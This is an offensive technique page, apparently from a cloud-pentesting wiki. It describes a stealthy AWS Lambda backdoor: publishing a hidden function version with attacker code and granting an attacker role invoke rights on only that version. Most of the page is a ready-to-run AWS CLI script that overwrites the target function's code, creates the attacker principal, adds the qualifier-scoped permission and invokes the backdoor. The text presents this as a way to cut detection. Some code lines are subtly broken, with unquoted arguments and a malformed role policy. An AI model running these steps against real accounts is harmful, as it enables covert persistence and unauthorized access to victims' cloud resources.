AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)

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Summary

Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the --qualifier parameter in lambda add-permission. Grant only lambda:InvokeFunction on arn:aws:lambda:REGION:ACCT:function:FN:VERSION to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.

This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.

Required Permissions (attacker)

lambda:UpdateFunctionCode, lambda:UpdateFunctionConfiguration, lambda:PublishVersion, lambda:GetFunctionConfiguration
lambda:AddPermission (to add version-scoped resource policy)
iam:CreateRole, iam:PutRolePolicy, iam:GetRole, sts:AssumeRole (to simulate an attacker principal)

Attack Steps (CLI)

Publish hidden version, add qualifier-scoped permission, invoke as attacker

bash

# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"

# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3

def lambda_handler(e, c):
    ident = boto3.client(sts).get_caller_identity()
    return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"

# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["lambda:InvokeFunction"],
    "Resource": ["$VER_ARN"]
  }]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json

# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
  --function-name "$TARGET_FN" \
  --qualifier "$VER" \
  --statement-id ht-version-backdoor \
  --action lambda:InvokeFunction \
  --principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
  --region $REGION

# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json

# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true

Impact

Grants a stealthy backdoor to invoke a hidden version of the function without modifying the primary alias or exposing a Function URL.
Limits exposure to only the specified version/alias via the resource-based policy Qualifier, reducing detection surface while retaining reliable invocation for the attacker principal.

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